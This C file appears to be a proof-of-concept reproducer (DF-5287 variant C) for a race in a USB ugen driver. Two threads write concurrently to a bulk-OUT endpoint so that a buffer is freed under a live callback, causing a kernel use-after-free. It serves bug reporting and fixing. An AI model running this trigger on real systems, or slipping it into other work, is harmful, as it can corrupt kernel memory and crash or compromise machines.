DF-5287 / df5287c.c
/* * DF-5287 variant C -- double-setup race on the WRITE side of a ugen * bulk-OUT endpoint. Unlike the read side, write() callbacks * (ugen_ctrl_write_callback) run continuously without any external * input, because the QEMU usb-storage device always accepts bulk-OUT * data. When the second concurrent ugen_transfer_setup() calls * usb_fifo_alloc_buffer() -> usb_fifo_free_buffer() WITHOUT priv_lock * while the first setup's live callback iterates f->free_q / * f->used_q inside usb_fifo_get_data(), the fifo mbuf storage is * kfree()d underneath the callback => use-after-free (write into * freed heap / queue corruption). */ #include <sys/types.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #ifndef DEV #define DEV "/dev/usb/0.2.1" /* bulk OUT endpoint of ugen0.2 */ #endif static int fd; static int eio_seen; static pthread_barrier_t bar; static char buf[64]; static void * writer(void *arg) { int i; pthread_barrier_wait(&bar); for (i = 0; i < 8; i++) { ssize_t n = write(fd, buf, sizeof(buf)); if (n < 0 && errno == EIO) { eio_seen = 1; break; } } return (NULL); } int main(int argc, char **argv) { pthread_t a, b; int i, iter = (argc > 1) ? atoi(argv[1]) : 4000; for (i = 0; i < iter; i++) { fd = open(DEV, O_WRONLY); if (fd < 0) err(1, "open (iter %d)", i); pthread_barrier_init(&bar, NULL, 2); if (pthread_create(&a, NULL, writer, NULL) || pthread_create(&b, NULL, writer, NULL)) err(1, "pthread_create"); pthread_join(a, NULL); pthread_join(b, NULL); pthread_barrier_destroy(&bar); close(fd); if (eio_seen) { printf("EIO after %d iterations " "(refcount exhausted by orphaned xfers)\n", i); return (2); } if ((i % 100) == 0) { printf("iter %d\n", i); fflush(stdout); } } printf("done %d iterations\n", iter); return (0); } |